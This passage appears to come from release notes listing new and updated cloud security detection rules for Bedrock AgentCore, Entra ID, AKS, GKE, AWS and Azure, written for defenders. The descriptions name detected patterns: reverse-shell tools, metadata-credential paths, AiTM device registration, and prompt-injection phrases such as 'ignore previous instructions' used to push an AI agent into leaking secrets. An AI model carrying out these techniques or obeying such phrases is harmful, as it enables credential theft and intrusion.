keys. The runtime application logs record the caller-supplied prompt; credentials embedded in a prompt are exposed to the model provider, persisted in observability logs, and may be returned in completions or used by downstream tools. This commonly indicates accidental secret leakage by a user or application, or an attempt to stage credentials for misuse through the agent. Secrets should never be passed to an agent in clear text. | new | 1 + +|<> | Identifies prompts sent to an Amazon Bedrock AgentCore runtime that attempt to harvest credentials or coerce the agent into exfiltrating data. The runtime application logs capture the caller-supplied prompt; this rule flags prompts that reference the cloud instance metadata service (169.254.169.254, the ECS task metadata address, or the "latest/meta-data" / "security-credentials" paths), prompts that name AWS access or secret keys directly, and prompt-injection or jailbreak language ("ignore previous instructions", "developer mode", "do anything now") combined with intent to reveal secrets, system prompts, or send data to an external endpoint. Asking an agent to read instance metadata credentials or to exfiltrate secrets is rarely legitimate and indicates an attempt to weaponize the agent for credential theft, even when the model refuses the request. | new | 1 + +|<> | Identifies potential OAuth client ID spoofing in Microsoft Entra ID sign-in logs. Adversaries submit fabricated or non-existent application identifiers (client IDs) in Resource Owner Password Credentials (ROPC) authentication requests to the token endpoint. Because Entra ID validates the submitted credential before rejecting the request on application resolution, the resulting error code acts as a credential- and account-validity oracle while never producing a successful sign-in. By fragmenting attempts across many fictional application identifiers, adversaries evade per-application detections, rate limiting, and application-scoped Conditional Access. This rule detects a ROPC authentication that fails with error code 700016 (application not found in the directory) where no application display name resolves, which is characteristic of a spoofed client ID used for stealthy user enumeration and password spraying. | new | 1 + +|<> | Identifies the first observed instance of a Microsoft first-party public client application acquiring a Microsoft Graph token using single-factor (password-only) authentication while an MFA Conditional Access grant control went unenforced, for a given user, application, and source autonomous system (ASN). This pattern is associated with the Conditional Access "resource exclusion" bypass: when a tenant's "all resources" Conditional Access policy contains at least one application exclusion, Entra ID issues tokens for low-privilege baseline scopes (User.Read, openid, profile, email) to any resource, including Microsoft Graph, without enforcing the policy's grant controls (such as MFA). An adversary holding only a stolen password can therefore obtain a Graph token through a trusted first-party public client (for example, Microsoft Bing Search) and enumerate directory objects, even though the tenant requires MFA. Critically, the overall conditional_access_status is never "failure" for this technique (the sign-in is not blocked); it is reported as "success" or "notApplied" depending on what other policies exist in the tenant, so detections that key on Conditional Access failures will not observe it. The reliable fingerprint is in the per-policy results: a policy whose enforced grant control is MFA reports a result of "notApplied" for this sign-in, meaning the MFA requirement was silently not enforced while the single-factor, password-only sign-in still succeeded. | new | 1 + +|<> | Detects use of the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet command-execution endpoints (run, exec, attach, portforward, cri). Unlike benign monitoring that scrapes /metrics and /stats, a request to these endpoints executes commands inside a pod on the node, the core of the kubeletctl and Peirates lateral-movement technique. Even a GET to /exec is command execution because the Kubelet maps the WebSocket upgrade handshake to the RBAC get verb, so nodes/proxy GET is sufficient for remote code execution. | new | 1 + +|<> | Detects an AKS (Azure Kubernetes Service) identity establishing an exec session into a pod. Interactive command execution inside a workload via kubectl exec is a common post-compromise technique used to access secrets, run tooling, and expand access from a foothold container. Node, control-plane, and kube-system service account identities are excluded, so workload service accounts and users, the identities an adversary is most likely to abuse, remain in scope. | new | 1 + +|<> | Identifies the first time a given VM extension name is created or updated on an Azure virtual machine or VM scale set within the rule's lookback window. VM extensions run with high privilege on the guest (SYSTEM on Windows, root on Linux) and are a common code-execution and persistence primitive. The extension instance name is attacker-controlled and the Azure activity log records only that name, not the publisher or type, so the control plane cannot reliably identify the extension family (for example CustomScript). This rule therefore takes a type-agnostic ES|QL new-terms approach: it derives the host and the extension instance name from `azure.resource.name` and alerts the first time a given (host, extension name) pair is observed in the window, surfacing novel extension deployments while suppressing names a host routinely uses. | new | 1 + +|<> | Detects a successful sign-in by a Member user principal through a legacy authentication client (such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, or other basic-authentication clients) in Microsoft Entra ID, where the user principal has not been seen using a legacy client in the last 7 days. Legacy authentication clients rely on basic authentication, do not support modern authentication or interactive multi-factor authentication, and are frequently abused by adversaries for password spraying and account takeover because they translate into single-factor Resource Owner Password Credentials (ROPC) grants. This is a New Terms rule that surfaces the first occurrence of legacy client authentication for a given user, which is unusual in most modern environments. | new | 1 + +|<> | Detects a non-system identity using the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet. Proxying through the API server reaches the Kubelet API to enumerate pods or run commands on nodes, a lateral-movement and privilege-escalation vector (kubeletctl, Peirates). Node, control-plane, and kube-system service account identities that routinely proxy for monitoring are excluded, so remaining matches, including compromised workload service accounts, are surfaced for review. | new | 1 + +|<> | Identifies a Microsoft Entra ID identity-compromise chain in which a single user, within a 10-minute window, authenticates to the Device Registration Service through the Microsoft Authentication Broker (MAB) client, registers a device, and then uses the resulting Primary Refresh Token (PRT) to access a resource other than the Device Registration Service. This sequence is the core post-adversary-in-the-middle (AiTM) persistence pattern used by phishing kits such as Tycoon2FA and Kali365: after capturing a victim session, the kit registers an Azure AD-joined device to obtain a device-bound PRT, which survives user-level session revocation and password resets and grants trusted, MFA-free access. Correlating the broker sign-in, the device-registration audit event, and the follow-on PRT sign-in for the same user within a short window is a high-fidelity indicator of active account takeover. | new | 1 + +|<> | Detects multiple Microsoft Entra ID device registrations by a single user, where three or more distinct devices are registered within a 15-minute window. A legitimate user enrolling a device produces a single "Register device" event; registering multiple distinct devices in quick succession is uncommon and is the fingerprint behavior of adversary-in-the-middle (AiTM) phishing kits and stolen-token replay tooling (for example Kali365), which mint a new Azure AD-joined device, and therefore a new Primary Refresh Token (PRT), per relay or replay attempt. Each registered device is a separate certificate-bound principal whose PRT survives user-level session revocation and password resets, so multiple registrations on a single low-privilege identity establish device-bound persistence at scale. | new | 1 + +|<> | Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19045.2006" and the device display name follows the default "DESKTOP-" pattern. This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and it is uncommon for the OS build to match this exact value across an environment of otherwise patched hosts, where a current Windows 10 22H2 device reports a far higher "10.0.19045." value. | new | 1 + +|<> | Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is "10.0.19045.2006". This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and differs from legitimate hosts: a patched Windows 10 22H2 device reports a far higher "10.0.19045." value, so a device frozen at ".2006" with a default name is a high-fidelity, though evadable, indicator. | new | 1 + +|<> | Detects successful GKE pod exec sessions whose command references Google Cloud instance metadata endpoints, including metadata.google.internal, computeMetadata/v1, or the link-local metadata IP 169.254.169.254. Workloads that reach the GKE metadata service from an exec session are often attempting to harvest short-lived credentials or instance attributes from the node or workload identity boundary. That behavior is high risk because it can expose cloud credentials to code running inside a container. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. | new | 1 + +|<> | Detects successful GKE pod exec sessions where the executed command references high-value host or in-cluster paths: mounted service account or platform tokens, kubelet and control-plane configuration areas, host identity stores, root or home credential directories, common private-key and keystore extensions, process environment dumps, and configuration filenames suggestive of embedded secrets. Attackers with pods/exec often use these one-liners to steal credentials before lateral movement or privilege escalation. A narrow exclusion ignores benign resolv.conf reads. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. | new | 1 + +|<> | Detects an unusual volume of GKE API get requests against multiple distinct Secret objects from the same client fingerprint (user, source IP, and user agent) within the rule lookback window. This can indicate credential access or in-cluster reconnaissance, where a user or token is used to enumerate and retrieve sensitive data such as service account tokens, registry credentials, TLS material, or application configuration. Failed get requests are included and can signal RBAC probing; system service accounts are excluded only when secret reads succeed, since failed secret access by a service account may indicate compromise or misconfiguration worth investigating. | new | 2 + +|<> | Detects creation of a GKE service account token through the TokenRequest API by a non-system identity. TokenRequest allows programmatic minting of short-lived tokens for any service account the caller can create tokens for, without reading a mounted projected token from disk. Attackers with initial cluster access can abuse this API to obtain tokens for more privileged service accounts, pivot via Workload Identity to GCP APIs, or retain access after pod termination. Unlike filesystem token theft, TokenRequest activity is visible only in Kubernetes audit logs as create against the serviceaccounts/token subresource. | new | 1 + +|<> | Detects bursts of GKE API requests from an anonymous identity that probe many distinct actions and resources with mostly failed outcomes. This pattern is consistent with unauthenticated permission enumeration against an exposed API server. On GKE GCP audit logs, unauthenticated probes often omit "client.user.email" (null principal) with Unauthorized failures; those events are included alongside "system:anonymous" / "system:unauthenticated". | new | 1 + +|<> | Detects create, update, or patch of pods by an unauthenticated anonymous GKE identity. Anonymous pod mutation is a critical misconfiguration signal and a common path for unauthenticated attackers to deploy workloads or maintain access. Includes "system:anonymous" / "system:unauthenticated" and GKE audit rows with a missing principal (seen on unauthenticated Unauthorized/forbidden pod writes). | new | 1 + +|<> | Detects denied GKE API create requests from non-control-plane identities. Failed creates can indicate RBAC probing, stolen credentials with insufficient privileges, or attempts to deploy unauthorized workloads. | new | 1 + +|<> | Detects the first occurrence of a failed GKE API request from a previously unseen user agent. Adversary tooling often uses non-standard clients; combined with authorization failures this can indicate RBAC probing or exploitation attempts. | new | 1 + +|<> | Detects successful GKE pod exec sessions where the executed command implies curl or wget fetching an HTTPS URL. Attackers with pods/exec often run one-liners to stage tooling, pull scripts or binaries, or exfiltrate data over HTTPS—activity that should be rare compared to shells, debuggers, or expected health checks. Common cluster health, localhost, and OIDC/JWKS endpoint patterns are excluded to reduce benign automation noise. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. | new | 1 + +|<> | Detects successful GKE pod exec sessions whose command resembles reverse-shell or bind-shell one-liner patterns, including /dev/tcp and /dev/udp redirection, netcat/ncat exec-style flags, socat shell handoff, mkfifo pipelines, and common language socket idioms. Legitimate debug sessions sometimes use similar building blocks, but together these patterns align with post-exploitation interactive access and command-and-control. Common localhost /dev/tcp health-check ports are excluded. GKE records the command in gcp.audit.labels.command.gke.io/command when an explicit command is passed to exec. | new | 1 + +|<> | Detects modifications to the CoreDNS or kube-dns ConfigMap in the kube-system namespace on GKE. These ConfigMaps control cluster DNS resolution for all pods. An attacker who modifies the CoreDNS Corefile can redirect internal service DNS names to attacker-controlled IP addresses, enabling man-in-the-middle attacks against the Kubernetes API server, database services, and other internal endpoints. Pods that resolve service names via cluster DNS will transparently connect to the attacker instead of the legitimate service, allowing interception of service account tokens, database credentials, and API traffic. DNS poisoning at the cluster level is particularly dangerous because it affects every pod in every namespace simultaneously and does not require any modification to the victim workloads. CoreDNS configuration changes are rare in normal operations and any unexpected modification should be investigated immediately. | new | 1 + +|<> | Detects successful GKE API requests from unauthenticated anonymous identities using an unusual user agent. Attackers may rely on anonymous access for initial cluster access or to avoid attribution. Matches "system:anonymous" / "system:unauthenticated" and GKE audit rows where the principal is missing (common for unauthenticated clients). Common kube-probe health checks (readyz/livez/healthz/version) are excluded. | new | 1 + +|<> | Detects when the same non-system GKE identity creates a CertificateSigningRequest (CSR) and then approves that same CSR within five minutes, consistent with self-approval abuse. Attackers who gain CSR create and approval RBAC can submit a certificate request and approve it themselves to obtain a long-lived client certificate without involving cluster operators, a pattern documented in Kubernetes persistence research and adversary emulation. | new | 1 + +|<> | Detects creation or approval of a GKE CertificateSigningRequest (CSR) by a non-system identity. This is a breadth baseline rule for human or custom automation CSR activity on GKE. Attackers with cluster access can submit and approve CSRs to obtain long-lived client certificates that survive token revocation and RBAC changes. Use companion rules to evaluate signer choice, requested identity, and self-approval behavior. | new | 1 + +|<> | Detects creation or modification of a GKE Service with type NodePort. NodePort exposes a static port on every worker node that hosts matching pods, which widens the cluster's external attack surface and can bypass load-balancer and firewall controls. Attackers may create NodePort Services to intercept traffic or establish a direct path into the cluster. | new | 1 + +|<> | Detects creation of a GKE RoleBinding or ClusterRoleBinding that grants permissions to a ServiceAccount, which may indicate privilege delegation or RBAC misconfiguration leading to elevated access. | new | 1 + +|<> | Detects creation or modification of GKE Roles or ClusterRoles that grant high-risk permissions, such as wildcard access or RBAC escalation verbs (bind, escalate, impersonate), which may enable privilege escalation or unauthorized access within the cluster. | new | 1 + +|<> | Detects non-system identities using the GKE nodes/proxy API to reach a node's Kubelet through the API server. The nodes/proxy subresource allows any principal with this permission to call the Kubelet API without direct node network access or Kubelet TLS certificates. Through this path an attacker can list pod specs (including environment secrets), read Kubelet configuration, retrieve container logs, and access running pod metadata on the target node. Monitoring endpoints such as metrics, healthz, and stats/summary are excluded to reduce noise from observability tooling. | new | 1 + +|<> | Detects GKE API requests where a caller is impersonating a privileged cluster identity such as system:kube-controller-manager, system:admin, system:anonymous, or a kube-system service account. These identities have broad cluster-wide permissions including unrestricted access to secrets, the ability to create tokens for any service account, schedule pods on any node, and modify RBAC. Impersonating system:kube-controller-manager grants access to secrets across namespaces and service account token minting for lateral movement. | new | 1 + +|<> | Detects creation of a GKE CertificateSigningRequest (CSR) that requests the kubernetes.io/kube-apiserver-client signer. This signer issues general API client certificates with few subject restrictions, unlike the restricted kubelet signers used for node certificate rotation. Attackers with CSR permissions use this signer to mint long-lived credentials for privileged identities such as system:kube-controller-manager, enabling persistence and privilege escalation that survives token revocation and RBAC changes. | new | 1 + +|<> | Detects allowed updates or patches to the pods/ephemeralcontainers subresource on GKE by a non-system identity. Ephemeral containers are commonly used for debugging (kubectl debug) but can also be abused to inject tooling into a running pod, access mounted secrets, and execute commands in the target pod context. Attackers with sufficient RBAC may use ephemeral containers to escalate privileges, move laterally, or establish persistence without deploying a new workload. | new | 1 + +|<> | Flags an existing GKE Role or ClusterRole being changed (patch or update) so the effective rules become cluster-admin-like: wildcard on every API resource and wildcard on every verb. That is usually a deliberate privilege expansion, not a typo. GKE audit logs with response body capture are required so the detection reads the merged role after apply; loopback source IPs are ignored. | new | 1 + +|<> | Detects write operations performed by GKE service accounts against RBAC resources (Roles, ClusterRoles, RoleBindings, ClusterRoleBindings). Service accounts typically do not manage RBAC directly; this activity may indicate token abuse or unauthorized privilege escalation. | new | 1 + +|<> | Detects a request to attach a built-in kube-controller-manager service account to a pod running in the kube-system namespace on GKE. These service accounts are admin-equivalent and are not normally assigned to arbitrary pods. An attacker who can create pods in kube-system can abuse these tokens for cluster-wide privilege escalation. | new | 1 + +|<> | Detects the first occurrence of create or patch activity against sensitive GKE workloads (DaemonSets, Deployments, or CronJobs) from an unusual combination of user agent, source IP, and user identity, which may indicate privilege escalation or unauthorized access within the cluster. | new | 1 + +|<> | Identifies a successful login by a user principal through a legacy authenticated client (such as Authenticated SMTP, IMAP, POP, or Exchange ActiveSync) in the Microsoft 365 Unified Audit Log, evidenced by the "BAV2ROPC" user agent. Legacy basic-authentication clients are translated by Entra ID into a Resource Owner Password Credentials (ROPC) grant, a single-factor flow that submits the user's password directly and bypasses interactive multi-factor authentication. This is commonly abused during password spraying and account takeover. | new | 1 + +|<> | Detects the creation of a PHP file in the WordPress plugin directory, which is a common technique used by attackers to establish persistence on a compromised web server. Attackers may upload a malicious PHP file and call it from a web browser to gain remote access to the server. | new | 1 + +|<> | Generates a detection alert for each Microsoft Defender XDR alert written to the configured indices. Microsoft Defender emits multiple update events for the same alert over its lifecycle, all sharing a stable alert identifier. This rule suppresses those update events so that a single, continuous Elastic alert is maintained per Defender alert rather than a new alert per update. Enabling this rule allows you to immediately begin investigating Microsoft Defender XDR alerts in the app. | new | 1 + +|<> | Generates a detection alert for each Microsoft Defender XDR incident written to the configured indices. Microsoft Defender emits multiple update events for the same incident as its member alerts and status evolve, all sharing a stable incident identifier. This rule suppresses those update events so that a single, continuous Elastic alert is maintained per Defender incident rather than a new alert per update. Enabling this rule allows you to immediately begin investigating Microsoft Defender XDR incidents in the app. | new | 1 + +|<> | Identifies a suspicious process executing as a descendant of the Azure VM CustomScript extension handler (CustomScriptHandler.exe) on a Windows host. The Azure CustomScript extension runs an attacker-supplied script with high privilege (SYSTEM) via the guest agent, and is a common cloud-to-host code-execution and persistence primitive. Because the extension's resource name is attacker-controlled and absent from on-host telemetry, this rule anchors on the type-bearing handler binary ('Microsoft.Compute.CustomScriptExtension\...\CustomScriptHandler.exe') rather than the spoofable extension name, making it resistant to renaming. CustomScript legitimately launches PowerShell and cmd, so the rule fires only when the descendant is an execution-proxy, download, or discovery LOLBin, or PowerShell exhibiting suspicious tradecraft. | new | 1 + +|<> | A POST request to a web application returned a 403 response, which indicates the web application declined to process the request because the action requested was not allowed. | update | 106 + +|<> | A request to a web application returned a 405 response, which indicates the web application declined to process the request because the HTTP method is not allowed for the resource. | update | 106 + +|<> | Detects GenAI tools connecting to unusual domains on macOS. Adversaries may compromise GenAI tools through prompt injection, malicious MCP servers, or poisoned plugins to establish C2 channels or exfiltrate sensitive data to attacker-controlled infrastructure. AI agents with network access can be manipulated to beacon to external servers, download malicious payloads, or transmit harvested credentials and documents. | update | 6 + +|<> | This rule detects Palo Alto Network alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. | update | 4 + +|<> | Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. | update | 216 + +|<> | Detects successful Amazon EKS UpdateClusterConfig requests that disable control plane logging. Disabling EKS API server and control plane logs can reduce visibility into cluster activity and may indicate defense evasion following compromised AWS credentials or unauthorized administrative access. EKS control plane logging changes are typically rare and should align with approved maintenance or cost optimization workflows. | update | 2 + +|<> | Detects attempts to disassociate or manipulate Amazon GuardDuty member accounts within an AWS organization. In multi-account GuardDuty deployments, a delegated administrator account aggregates findings from member accounts. Adversaries may attempt to disassociate member accounts, delete member relationships, stop monitoring members, or delete pending invitations to break this centralized visibility. These actions can be precursors to or alternatives for deleting GuardDuty detectors entirely, allowing attackers to operate undetected in member accounts while the administrator account loses visibility. This rule identifies successful API calls that manipulate GuardDuty member relationships, which are rare in normal operations and warrant immediate investigation. | update | 3 + +|<> | Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. | update | 8 + +|<> | Identifies the first occurrence of an AWS Security Token Service (STS) GetFederationToken request made by a user. The GetFederationToken API call allows users to request temporary security credentials to access AWS resources. The maximum expiration period for these tokens is 36 hours and they can be used to create a console signin token even for identities that don't already have one. Adversaries may use this API to obtain temporary credentials for persistence and to bypass IAM API call limitations by gaining console access. | update | 8 + +|<> | Flags the first time a given IAM principal invokes a narrow set of high-signal discovery APIs (credential check, account and IAM enumeration, bucket and compute inventory, logging introspection) from a source IP whose autonomous system number (ASN) matches a curated set commonly associated with consumer VPN brands, VPN-heavy hosting, and provider networks referenced in public reporting on TeamPCP activity (for example 31173 Services AB AS39351 and Oy Crea Nova Hosting Solution Ltd). Broad `List*`/`Describe*` patterns are intentionally omitted to reduce noise. Hosting ASNs are heavily dual-use; validate `source.as.number` in your data and extend `event.action` only when your baseline allows it. | update | 2 + +|<> | Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. | update | 4 + +|<> | Identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, data exfiltration and more. | update | 7 + +|<> | Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. | update | 8 + +|<> | Identifies an AWS Amazon Machine Image (AMI) being shared with another AWS account. Adversaries with access may share an AMI with an external AWS account as a means of data exfiltration. AMIs can contain secrets, bash histories, code artifacts, and other sensitive data that adversaries may abuse if shared with unauthorized accounts. AMIs can be made publicly available accidentally as well. | update | 8 + +|<> | Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. | update | 214 + +|<> | Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. | update | 9 + +|<> | Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. | update | 216 + +|<> | Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. | update | 217 + +|<> | Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims. | update | 13 + +|<> | Identifies a high-volume of AWS S3 objects stored in a bucket using using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a Threshold rule that triggers when this behavior is observed multiple times for a specific bucket in a short time-window. | update | 7 + +|<> | This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. | update | 10 + +|<> | Identifies when AWS S3 objects stored in a bucket are encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a New Terms rule that flags when this behavior is observed for the first time user and target bucket name. | update | 9 + +|<> | Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. | update | 6 + +|<> | Identifies the first occurrence of an AWS user or role establishing a session via SSM to an EC2 instance. Adversaries may use AWS Session Manager to establish a session to an EC2 instance to execute commands on the instance. This can be used to gain access to the instance and perform actions such as privilege escalation. | update | 7 + +|<> | Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. | update | 10 + +|<> | Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. | update | 7 + +|<> | Detects the creation of an AWS Identity and Access Management (IAM) user initiated by an assumed role on an EC2 instance. Assumed roles allow users or services to temporarily adopt different AWS permissions, but the creation of IAM users through these roles, particularly from within EC2 instances, may indicate a compromised instance. Adversaries might exploit such permissions to establish persistence by creating new IAM users under unauthorized conditions. | update | 7 + +|<> | Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. | update | 4 + +|<> | Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. | update | 10 + +|<> | Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. | update | 4 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. | update | 14 + +|<> | Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. | update | 9 + +|<> | Identifies the creation or update of an AWS Lambda function URL configured with an authentication type of NONE, which exposes the function to unauthenticated invocation directly from the public internet. Adversaries can use a public function URL to establish a durable, internet-reachable entry point for command and control, data egress, or on-demand execution of attacker-controlled code, bypassing the need for valid AWS credentials to invoke the function. Function URLs with public access should be rare and deliberate, so this configuration warrants review. | update | 2 + +|<> | Identifies the first time a given IAM principal successfully creates an EC2 key pair when the request is sourced from a network whose autonomous system organization is not attributed to common cloud or hyperscaler providers in your GeoIP data. Adversaries may call CreateKeyPair to stage SSH access material before launching or accessing instances. A new terms baseline on `user_identity.arn` suppresses repeated noise from the same principal while still surfacing the initial suspicious creation from an unusual egress label. | update | 2 + +|<> | Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. | update | 4 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised user accounts. This rule looks for use of the IAM AttachUserPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user. | update | 11 + +|<> | Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. | update | 9 + +|<> | Identifies access to email resources via Microsoft Graph API using an first-party application on behalf of a user principal. This behavior may indicate an adversary using a phished OAuth refresh token or a Primary Refresh Token (PRT) to access email resources. The pattern includes requests to Microsoft Graph API endpoints related to email, such as /me/mailFolders/inbox/messages or /users/{user_id}/messages, using a public client application ID and a user principal object ID. This is a New Terms rule that only signals if the application ID, user principal object ID, and source ASN have not been seen doing this activity historically. | update | 8 + +|<> | Identifies secrets, keys, or certificates retrieval operations from Azure Key Vault by a user principal that has not been seen previously doing so in a certain amount of days. Azure Key Vault is a cloud service for securely storing and accessing secrets, keys, and certificates. Unauthorized or excessive retrievals may indicate potential abuse or unauthorized access attempts. | update | 5 + +|<> | Detects an Azure AD Graph (graph.windows.net) burst from a user-agent identifying as "aiohttp" (the default HTTP library used by ROADrecon's "gather" command) where a single calling identity issues many requests in a short window. ROADrecon walks every interesting directory object type via aiohttp, producing a large volume of requests from one user / source IP / UA triple. The combination of "aiohttp" UA with a burst threshold is a structural ROADrecon signature; legitimate first-party Microsoft components do not identify as aiohttp. | update | 2 + +|<> | Identifies Azure AD Graph (graph.windows.net) requests originating from user-agent strings associated with offensive tooling, scripting libraries, or generic HTTP clients. First-party Microsoft components calling AAD Graph identify with specific user agents such as "Microsoft Azure Graph Client Library", "Microsoft ADO.NET Data Services", or "Microsoft.OData.Client". Anything outside that recognised set is either a developer prototyping against the legacy API or an enumeration tool walking the directory. | update | 3 + +|<> | Identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. | update | 4 + +|<> | Identifies potential enumeration or password spraying activity using TeamFiltration tool. 